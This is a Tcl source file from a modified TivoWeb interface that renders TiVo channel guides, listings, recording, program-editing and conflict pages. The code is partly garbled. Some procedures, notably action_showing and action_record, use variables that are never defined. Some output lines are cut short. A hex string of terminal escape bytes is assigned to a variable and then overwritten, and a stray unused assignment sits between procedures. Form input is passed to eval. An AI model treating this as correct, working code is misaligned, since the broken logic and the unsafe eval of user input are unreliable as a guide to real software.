# Copyright (c) 2001 Josha Foust (tivoweb@lightn.org) # $Id: ui.itcl,v 1.64.2.57 2003/01/01 02:15:24 lightn Exp $ # Modified from original to display FSID for each recorded show. It's not much # use now since mfsstream replaces the tystream server. Might be handy, though. # A. O'Connell v1.1 2003/12/07 proc action_record {chan path env} { if {[string index $objectid 0] == "/"} { set objectid [string range $objectid 1 end] } puts $chan [html_start "Record"] set value [MakeTodoRecording $objectid $quality 3 [expr 60 * $startearly] [expr 60 * $endlate] $kal $conflictslist] if { $value > 0 } { puts $chan "Scheduling Successful [html_link /showing/$value Recording]" } else { puts $chan "Scheduling Failed '$value'" } puts $chan [html_end] } proc get_nextmanualrectime {dowlocal starttime} { global tzoffset set nowsecs [clock seconds] if { $starttime > 86400 } { set dow [expr $dowlocal + 1] } elseif { $starttime < 0 } { set dow [expr $dowlocal - 1] } else { set dow $dowlocal } set nowtime [expr ($nowsecs / 86400) * 86400 + $starttime] set downow [clock format $nowtime -format "%w"] if { $downow > $dow } { set rectime [expr $nowtime + ($dow - $downow + 7) * 86400] } elseif { $dow > $downow } { set rectime [expr $nowtime + ($dow - $downow) * 86400] } else { if { $starttime > [expr $nowsecs % 86400] } { set rectime $nowtime } else { set rectime [expr $nowtime + (86400 * 7)] } } return $rectime } proc PrintNames {args} { set str "" set names [lindex $args 0] set searchtype 0 if { [llength $args] > 1 && [info procs "action_search"] == "action_search"} { set searchtype [lindex $args 1] set searchby [lindex "3 4" [expr $searchtype - 1]] } foreach name $names { if { [regexp {(.*)\|(.*)} $name junk last first] } { set str1 "$first $last" if { $searchtype > 0 } { if {$first == ""} { set str2 [httpMapReply "$last\t"] } else { set str2 [httpMapReply "$last, $first\t"] } set str1 [html_link "/search?searchby=$searchby&q=$str2" $str1] } if { $str == "" } { set str $str1 } else { append str ", $str1" } } } return $str } proc SaveNames {namestr} { regsub -all { } $namestr "_" namestr if { [regexp {(.*),(.*)} $namestr] } { regsub -all {,_} $namestr " " namestr if { [regexp {(.*)[;:](.*)} $namestr] } { if { [regexp {(.*);(.*)} $namestr] } { regsub -all {;_} $namestr " " namestr } if { [regexp {(.*):(.*)} $namestr] } { regsub -all {:_} $namestr " " namestr } } set names $namestr split $names } elseif { [regexp {(.*);(.*)} $namestr] } { regsub -all {;_} $namestr " " namestr if { [regexp {(.*)[,:](.*)} $namestr] } { if { [regexp {(.*),(.*)} $namestr] } { regsub -all {,_} $namestr " " namestr } if { [regexp {(.*):(.*)} $namestr] } { regsub -all {:_} $namestr " " namestr } } set names $namestr split $names } elseif { [regexp {(.*):(.*)} $namestr] } { regsub -all {:_} $namestr " " namestr if { [regexp {(.*)[,;](.*)} $namestr] } { if { [regexp {(.*),(.*)} $namestr] } { regsub -all {,_} $namestr " " namestr } if { [regexp {(.*);(.*)} $namestr] } { regsub -all {;_} $namestr " " namestr } } set names $namestr split $names } else { set names $namestr split $names } set str "" foreach name $names { set numspcs [regsub -all {_} $name "_" $name] if { $numspcs == 1 } { if { [regexp {(.*)_(.*)} $name junk first last] } { if { $str == "" } { set str "$last|$first" } else { set str "$str, $last|$first" } } } elseif { $numspcs == 2 } { if { [regexp {(.*)_(.*)_(.*)} $name junk first middle1 last] } { if { $str == "" } { set str "$last|$first middle1" } else { set str "$str, $last|$first middle1" } } } elseif { $numspcs == 3 } { if { [regexp {(.*)_(.*)_(.*)_(.*)} $name junk first middle1 middle2 last] } { if { $str == "" } { set str "$last|$first middle1 middle2" } else { set str "$str, $last|$first middle1 middle2" } } } } set names $str split $names , regsub -all {,} $names " " names return $names } proc action_channellist {chan type env} { global channeltablestation channeltablenum global logotablename logotableindex global db global guideindexdir if {[string index $type 0] == "/"} { set type [string range $type 1 end] } puts $chan [html_start "Channel Guide"] if { $type == "" } { puts $chan [html_table_start "" "" "ALIGN=TOP"] puts $chan [tr "" [th "" "Channel Guide"]] puts $chan [tr "" [td [html_link "/channellist/1" "All"]]] puts $chan [tr "" [td [html_link "/channellist/2" "Watch"]]] puts $chan [tr "" [td [html_link "/channellist/3" "Favorite"]]] puts -nonewline $chan [html_table_end] } else { puts $chan [html_table_start "" "" ""] puts $chan [tr "ALIGN=CENTER" [th "Logo"] [th "Num"] [th "Callsign"] [th "Name"]] if { $type == 1 } { RetryTransaction { set channelfsid [lindex [mfs find $guideindexdir/ChannelTable] 0] set channeltabledata [mfs get $channelfsid] } binary scan [string range $channeltabledata 0 3] I numkeys set incrsize 50 set varname [lindex $::datagroup [lsearch $::datagroup "SF_Serial*"]] set varname [string range $varname 9 11] for {set i 0} {$i < $numkeys} {incr i $incrsize} { set maxchannelcount [expr ($numkeys > $i + $incrsize) ? ($i + $incrsize) : $numkeys] RetryTransaction { for {set count $i} {$count < $maxchannelcount} {incr count} { binary scan [string range $channeltabledata [expr $count*8 + 4] [expr $count*8 + 11]] ISS stationfsid dummy chnum set station [db $db openid $stationfsid] set callsign [dbobj $station get CallSign] set channame [strim [dbobj $station get Name]] set logoindex [dbobj $station get ${varname}oIndex] set logoname [lindex $logotablename(1) [lsearch $logotableindex(1) $logoindex]] if { $logoname != "" } { set logostr [img "alt=\"\"" "$logoname-s1-p1.png"] } else { set logostr "" } puts $chan [tr "" [td $logostr] [td $chnum] [td [html_link "/channel/$stationfsid" $callsign]] [td $channame]] } } } unset channeltabledata } else { foreach channum [lsort -integer [array names channeltablenum]] { set stationfsid $channeltablenum($channum) set data $channeltablestation($stationfsid) set favorite [lindex $data 1] if { $type == "3" && $favorite == 0 } { continue } set callsign [lindex $data 2] set channame [lindex $data 3] set logoindex [lindex $data 4] set logoname [lindex $logotablename(1) [lsearch $logotableindex(1) $logoindex]] if { $logoname != "" } { set logostr [img "alt=\"\"" "$logoname-s1-p1.png"] } else { set logostr "" } set channame [strim $channame] puts $chan [tr "" [td $logostr] [td $channum] [td [html_link "/channel/$stationfsid" $callsign]] [td $channame]] } } puts -nonewline $chan [html_table_end] } puts $chan [html_end] } proc action_channel {chan objectid env} { global db global channeltablestation channeltablenum global logotableindex logotablename global cache_sp_fsid cache_sp_key if {[string index $objectid 0] == "/"} { set objectid [string range $objectid 1 end] } puts $chan [html_start "Channel"] if { [catch {set data $channeltablestation($objectid)}] != 1 } { set channum [lindex $data 0] set callsign [lindex $data 2] set logoindex [lindex $data 4] set logoname [lindex $logotablename(1) [lsearch $logotableindex(1) $logoindex]] if { $logoname != "" } { set logostr [img "alt=\"\"" "$logoname-s1-p1.png"] } else { set logostr "" } puts $chan [h1 "$logostr $channum $callsign"] puts -nonewline $chan [html_link "/listings/$objectid" "View Upcoming Listings"] puts $chan "
" } else { puts $chan "Error: Unknown Station '$objectid'
" } update_sp_cache set lsize [llength $cache_sp_key] set i 0 set seriesfsids "" while {$i < $lsize} { set index [lsearch [lrange $cache_sp_key $i end] "*|$objectid"] if { $index == -1 } { break } else { incr i $index set key [lindex $cache_sp_key $i] incr i set dindex [string first "|" $key] lappend seriesfsids [string range $key 0 [expr $dindex - 1]] } } if { $seriesfsids != "" } { puts $chan [h2 "Season Pass"] puts $chan [html_table_start "" "" ""] puts $chan [tr "" [th "Title"]] RetryTransaction { foreach seriesfsid $seriesfsids { set series [db $db openid $seriesfsid] set title [strim [dbobj $series get Title]] puts $chan [tr "" [td [html_link "/series/$seriesfsid" $title]]] } } puts -nonewline $chan [html_table_end] } else { puts $chan "
(no season passes for this channel)" } # set first 1 # ForeachMfsFileTrans fsid name type "/SeasonPass" "" 20 { # set sp [db $db openid $fsid] # set type [defaultval 1 [dbobj $sp get Type]] # if { $type == 1 } { # set station [dbobj $sp get Station] # set stationfsid [dbobj $station fsid] # if { $stationfsid == $objectid } { # set series [dbobj $sp get Series] # if { $first == 1 } { # puts $chan [h2 "Season Pass"] # puts $chan [html_table_start "" "" ""] # puts $chan [tr "" [th "Title"]] # set first 0 # } # set seriesfsid [dbobj $series fsid] # set title [strim [dbobj $series get Title]] # puts $chan [tr "" [td [html_link "/series/$seriesfsid" $title]]] # } # } # } # if { $first == 0 } { # puts -nonewline $chan [html_table_end] # } puts $chan [html_end] } proc action_listings {chan path env} { global db global tzoffset global channeltablestation channeltablenum global logotablename logotableindex puts $chan [html_start "Listings"] if {[string index $path 0] == "/"} { set path [string range $path 1 end] } set firstslash [string first "/" $path] set seconds "" if { $firstslash != -1 } { set stationid [string range $path 0 [expr $firstslash - 1]] set seconds [string range $path [expr $firstslash + 1] end] } else { set stationid $path } if { [catch {set data $channeltablestation($stationid)}] != 1 } { set channum [lindex $data 0] set callsign [lindex $data 2] set logoindex [lindex $data 4] set logoname [lindex $logotablename(1) [lsearch $logotableindex(1) $logoindex]] } else { puts $chan "Error: Unknown Station '$stationid'" puts $chan [html_end] return 0 } if { $logoname != "" } { set logostr [img "alt=\"\"" "$logoname-s1-p1.png"] } else { set logostr "" } if { $seconds == "" } { puts $chan [h1 "$logostr $channum $callsign"] set minday "99999" set maxday "00000" ForeachMfsFile fsid name type "/Schedule" "$stationid:" { scan $name "%d:%d:" schedsid schedday if {$minday > $schedday} { set minday $schedday } if {$maxday < $schedday} { set maxday $schedday } } set minseconds [expr ($minday - 1) * 86400] set maxseconds [expr $maxday * 86400] puts $chan [html_table_start "" "" ""] puts $chan [tr "" [th "Day"]] for {set i $minseconds} {$i <= $maxseconds} {incr i 86400} { if {$::uktivo} { set daystr [nth [clock format $i -format "%e"]] set timestr [clock format $i -format "%a $daystr %b"] } else { set timestr [clock format $i -format "%a %1m/%1d"] } puts $chan [tr "" [td [html_link "/listings/$stationid/$i" $timestr]]] } puts -nonewline $chan [html_table_end] puts $chan "
" } else { set day [expr $seconds / 86400] set startsecs [expr $seconds] set endsecs [expr $startsecs + 86400] if {$::uktivo} { set daystr [nth [clock format $startsecs -format "%e"]] set timestr [clock format $startsecs -format "%a $daystr %b"] } else { set timestr [clock format $startsecs -format "%a %1m/%1d"] } puts $chan [h1 "$logostr $channum $callsign - $timestr"] puts $chan [html_table_start "" "" ""] puts $chan [tr "ALIGN=CENTER" [th "Time"] [th "Series"] [th "Episode"]] set firstday 1 ForeachMfsFile fsid name type "/Schedule" "$stationid:$day:" { if {[catch [do_listingsrow $chan $fsid $startsecs $endsecs] error]} { puts "do_listingrow $fsid $startsecs $endsecs" puts "$error" } set firstday 0 } incr day set lastday 1 ForeachMfsFile fsid name type "/Schedule" "$stationid:$day:" { if {[catch [do_listingsrow $chan $fsid $startsecs $endsecs] error]} { puts "do_listingrow $fsid $startsecs $endsecs" puts "$error" } set lastday 0 } puts -nonewline $chan [html_table_end] puts $chan "
" set yesterday [expr $seconds - 86400] set tommorow [expr $seconds + 86400] if {$::uktivo} { set daystr [nth [clock format $yesterday -format "%e"]] set timestr [clock format $yesterday -format "%a $daystr %b"] set daystr [nth [clock format $tommorow -format "%e"]] set timestr2 [clock format $tommorow -format "%a $daystr %b"] } else { set timestr [clock format $yesterday -format "%a %1m/%1d"] set timestr2 [clock format $tommorow -format "%a %1m/%1d"] } if { !$firstday } { puts $chan [html_link "/listings/$stationid/$yesterday" "<< $timestr"] } if { !$lastday } { puts $chan [html_link "/listings/$stationid/$tommorow" "$timestr2 >>"] } } puts $chan [html_end] } proc do_listingsrow {chan fsid startsecs endsecs} { global db global tzoffset RetryTransaction { set stationday [db $db openid $fsid] set showings [dbobj $stationday gettarget Showing] } for {set x 0} {$x < [llength $showings]} {incr x 20} { RetryTransaction { foreach showingfsid [lrange $showings $x [expr $x+19]] { regexp {([0-9]*)/(.*)} $showingfsid junk showingobjid subobjid set showing [db $db openidconstruction $showingobjid $subobjid] set secs [expr [dbobj $showing get Date] * 86400 + [dbobj $showing get Time] + $tzoffset] if { $secs >= $startsecs && $secs < $endsecs } { if {$::uktivo} { set timestr [clock format $secs -format "%H:%M"] } else { set timestr [clock format $secs -format "%l:%M %P"] } set partindex [dbobj $showing get PartIndex] set partcount [dbobj $showing get PartCount] set program [dbobj $showing get Program] set series [dbobj $program get Series] set seriesfsid "" if { $series != "" } { set seriesfsid [dbobj $series fsid] set episodic [defaultval 1 [dbobj $series get Episodic]] } else { set episodic 1 } set title [strim [dbobj $program get Title]] set eptitle [strim [dbobj $program get EpisodeTitle]] if { $eptitle == "" } { if { $episodic == 1 } { set eptitle "UNKNOWN" } else { set eptitle $title } } if { $partcount != "" && $partindex != "" } { append eptitle " ($partindex/$partcount)" } if { $seriesfsid != "" } { set title [html_link "/series/$seriesfsid" $title] } puts $chan [tr "" [td $timestr] [td $title] [td [html_link "/showing/$showingfsid" $eptitle]]] } } } } } proc action_saveprogram {chan path env} { global db puts $chan [html_start "Edit Program"] eval $env RetryTransaction { set rec [db $db openid $objectid] set seltype [dbobj $rec get SelectionType] } if {$seltype == 6} { set newseltype 4 } else { set newseltype $seltype } set nowsecs [clock seconds] set newexpdate 0 if { $sul == 1 } { # Save Until 1 day. set newexpsecs [expr $nowsecs + 24*60*60] } elseif { $sul == 2 } { # Save Until 2 days. set newexpsecs [expr $nowsecs + 48*60*60] } elseif { $sul == 3 } { # Save Until 3 days. set newexpsecs [expr $nowsecs + 72*60*60] } elseif { $sul == 4 } { # Save Until 4 days. set newexpsecs [expr $nowsecs + 96*60*60] } elseif { $sul == 5 } { # Save Until 5 days. set newexpsecs [expr $nowsecs + 120*60*60] } elseif { $sul == 6 } { # Save Until 6 days. set newexpsecs [expr $nowsecs + 144*60*60] } elseif { $sul == 7 } { # Save Until 7 days. set newexpsecs [expr $nowsecs + 168*60*60] } elseif { $sul == 0 } { # Record is set for save until I delete. set newexpdate [expr 24855 + 0] set newexpsecs $nowsecs } else { # Set Record as Expired. set sul 8 set newexpsecs [expr $nowsecs - 72*60*60] } if { $newexpdate != 24855 } { set newexpdate [expr $newexpsecs / 86400] } updaterec $objectid $title $eptitle $description $newexpdate $newseltype $actorstr $gueststarstr $directorstr $execproducerstr $producerstr $writerstr puts $chan "Program Updated Successfully" puts $chan " " puts $chan [html_table_start "" "" ""] puts $chan [html_link "/nowshowing" "Return to Now Showing"] puts $chan [html_end] } proc action_editprogram {chan objectid env} { global db if {[string index $objectid 0] == "/"} { set objectid [string range $objectid 1 end] } puts $chan [html_start "Edit Program"] RetryTransaction { set rec [db $db openid $objectid] set showing [dbobj $rec get Showing] set program [dbobj $showing get Program] set title [strim [dbobj $program get Title]] set description [strim [dbobj $program get Description]] set isepisode [dbobj $program get IsEpisode] set sul [dbobj $rec get State] set seltype [dbobj $rec get SelectionType] set expdate [dbobj $rec get ExpirationDate] set expsecs [expr $expdate * 86400 + [dbobj $rec get ExpirationTime]] set nowsecs [clock seconds] set sulvals "0 1 2 3 4 5 6 7 8" set sullabs "{Until I delete} {1 day} {2 days} {3 days} {4 days} {5 days} {6 days} {7 days} {Expired}" if {$expdate == 24855} { # Record is set for save until I delete. set sul 0 } elseif {$expsecs < [expr $nowsecs + 24*60*60]} { # Save Until 1 day. set sul 1 } elseif {$expsecs < [expr $nowsecs + 48*60*60]} { # Save Until 2 days. set sul 2 } elseif {$expsecs < [expr $nowsecs + 72*60*60]} { # Save Until 3 days. set sul 3 } elseif {$expsecs < [expr $nowsecs + 96*60*60]} { # Save Until 4 days. set sul 4 } elseif {$expsecs < [expr $nowsecs + 120*60*60]} { # Save Until 5 days. set sul 5 } elseif {$expsecs < [expr $nowsecs + 144*60*60]} { # Save Until 6 days. set sul 6 } elseif {$expsecs < [expr $nowsecs + 168*60*60]} { # Save Until 7 days. set sul 7 } else { # Set Program Expired. set sul 8 } set actors [dbobj $program get Actor] if { $actors != "" } { set actorstr [PrintNames $actors] } else { set actorstr "" } set gueststars [dbobj $program get GuestStar] if { $gueststars != "" } { set gueststarstr [PrintNames $gueststars] } else { set gueststarstr "" } set directors [dbobj $program get Director] if { $directors != "" } { set directorstr [PrintNames $directors] } else { set directorstr "" } set execproducers [dbobj $program get ExecProducer] if { $execproducers != "" } { set execproducerstr [PrintNames $execproducers] } else { set execproducerstr "" } set producers [dbobj $program get Producer] if { $producers != "" } { set producerstr [PrintNames $producers] } else { set producerstr "" } set writers [dbobj $program get Writer] if { $writers != "" } { set writerstr [PrintNames $writers] } else { set writerstr "" } puts $chan [html_form_start "POST" "/saveprogram"] puts $chan [html_form_hidden "objectid" $objectid] puts $chan [html_form_hidden "expsecs" $expsecs] puts $chan [html_form_hidden "expdate" $expdate] puts $chan [html_table_start "" "" ""] puts $chan [tr "" [td "Title"] [td [html_form_text 1 40 "title" $title]]] if { $isepisode == 1 } { set eptitle [strim [dbobj $program get EpisodeTitle]] puts $chan [tr "" [td "Episode Title"] [td [html_form_text 1 40 "eptitle" $eptitle]]] } else { puts $chan [html_form_hidden "eptitle" ""] } puts $chan [tr "" [td "Description"] [td [html_form_text 3 40 "description" $description]]] puts $chan [tr "" [td "Save Until..."] [td [html_form_select "sul" $sulvals $sullabs $sul]]] puts $chan [tr "" [td "Actors"] [td [html_form_text 2 40 "actorstr" $actorstr]]] puts $chan [tr "" [td "Guest Stars"] [td [html_form_text 2 40 "gueststarstr" $gueststarstr]]] puts $chan [tr "" [td "Directors"] [td [html_form_text 2 40 "directorstr" $directorstr]]] puts $chan [tr "" [td "Exec. Producers"] [td [html_form_text 2 40 "execproducerstr" $execproducerstr]]] puts $chan [tr "" [td "Producers"] [td [html_form_text 2 40 "producerstr" $producerstr]]] puts $chan [tr "" [td "Writers"] [td [html_form_text 2 40 "writerstr" $writerstr]]] puts $chan [html_table_end] puts $chan [html_form_input "submit" "Save" "Save"] puts $chan [html_form_end] puts $chan "
" puts $chan [html_link "javascript:history.go(-1)" "Cancel"] } puts $chan [html_end] } proc updaterec { id newtitle neweptitle newdesc newexpdate newseltype newactorstr newgueststarstr newdirectorstr newexecproducerstr newproducerstr newwriterstr } { global db RetryTransaction { set rec [db $db openid $id] set showing [dbobj $rec get Showing] set program [dbobj $showing get Program] set serverid [dbobj $program get ServerId] if { $serverid != "" && $::dtivo == 0 } { set newpobj [db $db create Program] dbobj $newpobj copyfrom $program dbobj $newpobj remove ServerId dbobj $newpobj remove ServerVersion dbobj $showing set Program $newpobj } else { set newpobj $program } dbobj $newpobj set Title $newtitle set isepisode [dbobj $newpobj get IsEpisode] if { $isepisode == 1 } { dbobj $newpobj set EpisodeTitle $neweptitle } dbobj $newpobj set Description $newdesc dbobj $rec set ExpirationDate $newexpdate dbobj $rec set SelectionType $newseltype if { $newactorstr != "" } { set newActors [SaveNames $newactorstr] set numProc 0 if {$newActors == ""} { dbobj $newpobj remove Actor } else { foreach newActor $newActors { if { $numProc == 0 } { dbobj $newpobj set Actor $newActor } else { dbobj $newpobj add Actor $newActor } incr numProc } } } if { $newgueststarstr != "" } { set newGuestStars [SaveNames $newgueststarstr] set numProc 0 if {$newGuestStars == ""} { dbobj $newpobj remove GuestStar } else { foreach newGuestStar $newGuestStars { if { $numProc == 0 } { dbobj $newpobj set GuestStar $newGuestStar } else { dbobj $newpobj add GuestStar $newGuestStar } incr numProc } } } if { $newdirectorstr != "" } { set newDirectors [SaveNames $newdirectorstr] set numProc 0 if {$newDirectors == ""} { dbobj $newpobj remove Director } else { foreach newDirector $newDirectors { if { $numProc == 0 } { dbobj $newpobj set Director $newDirector } else { dbobj $newpobj add Director $newDirector } incr numProc } } } if { $newexecproducerstr != "" } { set newExecProducers [SaveNames $newexecproducerstr] set numProc 0 if {$newExecProducers == ""} { dbobj $newpobj remove ExecProducer } else { foreach newExecProducer $newExecProducers { if { $numProc == 0 } { dbobj $newpobj set ExecProducer $newExecProducer } else { dbobj $newpobj add ExecProducer $newExecProducer } incr numProc } } } if { $newproducerstr != "" } { set newProducers [SaveNames $newproducerstr] set numProc 0 if {$newProducers == ""} { dbobj $newpobj remove Producer } else { foreach newProducer $newProducers { if { $numProc == 0 } { dbobj $newpobj set Producer $newProducer } else { dbobj $newpobj add Producer $newProducer } incr numProc } } } if { $newwriterstr != "" } { set newWriters [SaveNames $newwriterstr] set numProc 0 if {$newWriters == ""} { dbobj $newpobj remove Writer } else { foreach newWriter $newWriters { if { $numProc == 0 } { dbobj $newpobj set Writer $newWriter } else { dbobj $newpobj add Writer $newWriter } incr numProc } } } } } proc action_showing {chan objectid env} { global db global tzoffset global cancelreasons global selectiontypes global presentationbehtypes global states global showtypes global channeltablestation channeltablenum global genrenums genrevals global tvratingnums tvratingvals global showingbitnums showingbitvals global advisorynums advisoryvals global mpaaratingnums mpaaratingvals global premieretypes global images global cache_sp_fsid cache_sp_key set fsid [binary format H* 1b5b3f39681b5b31323b325d1b5b393b315d] if {[string index $objectid 0] == "/"} { set objectid [string range $objectid 1 end] } puts $chan [html_start "Showing"] RetryTransaction { if { [regexp {([0-9]*)/(.*)} $objectid junk fsid subobjid] } { set showing [db $db openidconstruction $fsid $subobjid] } else { set showing [db $db openid $objectid] } set rec [dbobj $showing get IndexUsedBy] set day [dbobj $showing get Date] set time [dbobj $showing get Time] set timestr [format "%05d" $time] set recfsid "" if { $rec == "" } { set recfsid [lindex [get_fsidbyprefix "/Recording/Active" "4:$day:$timestr:"] 0] } } # set recfsid "" # if { $rec == "" } { # ForeachMfsFile fsid name type "/Recording/Active" "4:$day:$timestr:" { # set recfsid $fsid # } # } update_sp_cache RetryTransaction { if { [regexp {([0-9]*)/(.*)} $objectid junk fsid subobjid] } { set showing [db $db openidconstruction $fsid $subobjid] } else { set showing [db $db openid $objectid] } set rec [dbobj $showing get IndexUsedBy] set station [dbobj $showing get Station] set stationid [dbobj $station fsid] if { $rec == "" && $recfsid != "" } { set rec [db $db openid $recfsid] set showing2 [dbobj $rec get Showing] set station2 [dbobj $showing2 get Station] set stationfsid2 [dbobj $station2 fsid] if { $stationid != $stationfsid2 } { set rec "" } else { set showing $showing2 } } if { $rec != "" && $recfsid == "" } { set recfsid [dbobj $rec fsid] } set program [dbobj $showing get Program] set title [strim [dbobj $program get Title]] set series [dbobj $program get Series] set seriesfsid "" set thumbs "" if { $series != "" } { set seriesfsid [dbobj $series fsid] set score [dbobj $series get ThumbData] if { $score != "" } { set imagenum [get_thumbimage $score] if { $imagenum >= 0} { set imagef [lindex $images $imagenum] set thumbs [img "alt=\"\"" $imagef] } } } if { $seriesfsid != "" } { set title [html_link "/series/$seriesfsid" $title] } if { $rec != "" } { set seltype [dbobj $rec get SelectionType] if {$::version3} { set recbeh [dbobj $rec get RecordingBehavior] set presbeh [dbobj $recbeh get PresentationBehavior] set progbeh [dbobj $recbeh get ProgramGuideBehavior] if { $presbeh == 10 || $presbeh == 9 || $progbeh == 3 || $progbeh == 8 } { if { $title == "" } { set title "Manual Recording" } else { set title "Manual: $title" } } } else { if { $seltype == 10 || $seltype == 5 } { if { $title == "" } { set title "Manual Recording" } else { set title "Manual: $title" } } } } puts $chan [h1 "$thumbs$title"] puts $chan [html_table_start "" "" ""] if { $series != "" } { set episodic [defaultval 1 [dbobj $series get Episodic]] } else { set episodic 1 } set tmstype 1 set tmsid [dbobj $program get TmsId] if { [string range $tmsid 0 1] == "MV" } { set tmstype 0 } if { [string length $tmsid] == 0 } { set tmstype $episodic } if { $tmstype == 1 } { set partindex [dbobj $showing get PartIndex] set partcount [dbobj $showing get PartCount] set partstr "" if { $partcount != "" && $partindex != "" } { set partstr " ($partindex/$partcount)" } puts $chan "
" } set actionstr "" set nowtime [clock seconds] if { $rec != "" } { if { $state == 6 } { append actionstr [tr "" [td [html_link "/confirmdelete/2/$recfsid" "Cancel Recording"]]] append actionstr "\n" } elseif { $state == 4 } { append actionstr [tr "" [td [html_link "/editprogram/$recfsid" "Edit Program"]]] append actionstr [tr "" [td [html_link "/confirmdelete/1/$recfsid" "Delete Recording"]]] append actionstr "\n" } elseif { $state == 2 } { if { $nowtime < $showingstart } { append actionstr [tr "" [td [html_link "/recoptions/$objectid" "Record"]]] append actionstr "\n" } } elseif { $state == 5 } { if { $parts != "" } { append actionstr [tr "" [td [html_link "/confirmdelete/3/$recfsid" "Undelete"]]] append actionstr "\n" } } } else { if { $nowtime < $showingstart } { append actionstr [tr "" [td [html_link "/recoptions/$objectid" "Record"]]] append actionstr "\n" } } if { $rec != "" && $programsourcefsid != "" && ($programsourcetype == 1 || $programsourcetype == 2) } { append actionstr [tr "" [td [html_link "/editseasonpass/$programsourcefsid" "Edit Season Pass"]]] append actionstr "\n" } else { set sp_index [lsearch $cache_sp_key "$seriesfsid|$stationid"] if { $sp_index != -1 } { append actionstr [tr "" [td [html_link "/editseasonpass/[lindex $cache_sp_fsid $sp_index]" "Edit Season Pass"]]] append actionstr "\n" } elseif { $episodic == 1 } { append actionstr [tr "" [td [html_link "/getseasonpass/$objectid" "Get Season Pass"]]] append actionstr "\n" } } if { $actionstr != "" } { puts $chan [html_table_start "" "" ""] puts $chan [tr "" [th "Actions"]] puts $chan $actionstr puts -nonewline $chan [html_table_end] puts $chan "
" } puts $chan [html_end] } proc print_recoptions {chan type quality kal startearly endlate kam showtype keepuntil } { set qualvals "0 40 75 100" set quallabs "Basic Medium High Best" set kalvals "0 1 2 3 4 5 6 7" set kallabs "{Until I delete} {1 day} {2 days} {3 days} {4 days} {5 days} {6 days} {7 days}" set kamvals "1 2 3 4 5 0" set kamlabs "{1 episode} {2 episodes} {3 episodes} {4 episodes} {5 episodes} {All Episodes}" if {$::version3} { set showtvals "0 1 2" set showtlabs "{Repeats & first run} {First run only} {All (with duplicates)}" } else { set showtvals "0 1" set showtlabs "{Repeats & first run} {First run only}" } set keepuvals "0 1" set keepulabs "{Until I delete} {Space needed}" set startvals "0 1 2 3 4 5 10" set startlabs "{On-time} {1 minute early} {2 minutes early} {3 minutes early} {4 minutes early} {5 minutes early} {10 minutes early}" set endvals "0 1 2 5 15 30 60 90 180" set endlabs "{On-time} {1 minute longer} {2 minutes longer} {5 minutes longer} {15 minutes longer} {30 minutes longer} {1 hour longer} {1 1/2 hours longer} {3 hours longer}" puts $chan [tr "" [td "Record Quality"] [td [html_form_select "quality" $qualvals $quallabs $quality]]] if { $type == 0 } { puts $chan [tr "" [td "Keep At Least"] [td [html_form_select "kal" $kalvals $kallabs $kal]]] } if { $type == 1 || $type == 2 || $type == 3 } { puts $chan [tr "" [td "Keep At Most"] [td [html_form_select "kam" $kamvals $kamlabs $kam]]] if { $type == 1 || $type == 3} { puts $chan [tr "" [td "Show Type"] [td [html_form_select "showtype" $showtvals $showtlabs $showtype]]] } puts $chan [tr "" [td "Keep Until"] [td [html_form_select "keepuntil" $keepuvals $keepulabs $keepuntil]]] } puts $chan [tr "" [td "Start Recording"] [td [html_form_select "startearly" $startvals $startlabs $startearly]]] puts $chan [tr "" [td "Stop Recording"] [td [html_form_select "endlate" $endvals $endlabs $endlate]]] } set var1 "logsNull" proc action_recoptions {chan objectid env} { global defrecquality puts $chan [html_start "Recording Options"] puts $chan [h1 "Recording Options"] puts $chan [html_form_start "POST" "/conflicts"] puts $chan [html_table_start "" "" ""] print_recoptions $chan 0 $defrecquality 2 0 0 0 0 0 puts -nonewline $chan [html_table_end] puts $chan "
" puts $chan [html_form_hidden "objectid" $objectid] puts $chan [html_form_input "submit" "Conflicts" "Conflicts"] puts $chan [html_form_end] puts $chan "
" puts $chan [html_link "javascript:history.go(-1)" "Cancel"] puts $chan [html_end] } proc action_conflicts {chan path env} { global db eval $env if { $objectid != "" } { if {[string index $objectid 0] == "/"} { set objectid [string range $objectid 1 end] } } else { puts $chan [html_start "Conflicts"] puts $chan "Error: no objectid in form data" puts $chan [html_end] return 1 } set conflictslist [GetConflictsList $objectid [expr 60 * $startearly] [expr 60 * $endlate]] if { [llength $conflictslist] > 0 } { puts $chan [html_start "Conflicts"] puts $chan [h1 "Conflicts"] puts $chan [html_table_start "" "" ""] puts $chan [tr "ALIGN=CENTER" [th "Program"] [th "Date"] [th "Time"] [th "COLSPAN=2" "Channel"]] RetryTransaction { foreach conflict $conflictslist { set rec [db $db openid $conflict] set showing [dbobj $rec get Showing] set startearlysecs [defaultval 0 [dbobj $rec get StartPadding]] set endlatesecs [defaultval 0 [dbobj $rec get EndPadding]] if {[catch [do_conflictsrow $chan $showing $startearlysecs $endlatesecs] error]} { puts $chan [html_table_end] print_html_error $chan "do_conflictsrow $showing $startearlysecs $endlatesecs" $error puts $chan [html_end] return 1 } } } puts -nonewline $chan [html_table_end] puts $chan "
" } else { puts $chan [html_start "Conflicts"] puts $chan [h1 "No Conflicts"] } puts $chan [html_table_start "" "" "ALIGN=TOP"] RetryTransaction { if { [regexp {([0-9]*)/(.*)} $objectid junk fsid subobjid] } { set showing [db $db openidconstruction $fsid $subobjid] } else { set showing [db $db openid $objectid] } if {[catch [do_conflictsrow $chan $showing [expr $startearly * 60] [expr $endlate * 60]] error]} { puts $chan [html_table_end] print_html_error $chan "do_conflictsrow $showing [expr $startearly * 60] [expr $endlate * 60]" $error puts $chan [html_end] return 1 } } puts -nonewline $chan [html_table_end] puts $chan "
" puts $chan [html_form_start "POST" "/record"] puts $chan [html_form_hidden "quality" $quality] puts $chan [html_form_hidden "kal" $kal] puts $chan [html_form_hidden "startearly" $startearly] puts $chan [html_form_hidden "endlate" $endlate] puts $chan [html_form_hidden "objectid" $objectid] puts $chan [html_form_hidden "conflictslist" $conflictslist] puts $chan [html_form_input "submit" "Record" "Record"] puts $chan [html_form_end] puts $chan "Cancel" puts $chan [html_end] } proc do_conflictsrow {chan showing startearlysecs endlatesecs} { global db global tzoffset global channeltablestation global channeltablenum set program [dbobj $showing get Program] set title [strim [dbobj $program get Title]] set showingfsid "[dbobj $showing fsid]/[dbobj $showing subobjid]" #set eptitle [strim [dbobj $program get EpisodeTitle]] set showingsecs [expr [dbobj $showing get Date] * 86400 + [dbobj $showing get Time] + $tzoffset] set showingendsecs [expr $showingsecs + [dbobj $showing get Duration] + $endlatesecs] set showingsecs [expr $showingsecs - $startearlysecs] if {$::uktivo} { set daystr [nth [clock format $showingsecs -format "%e"]] set timestr [clock format 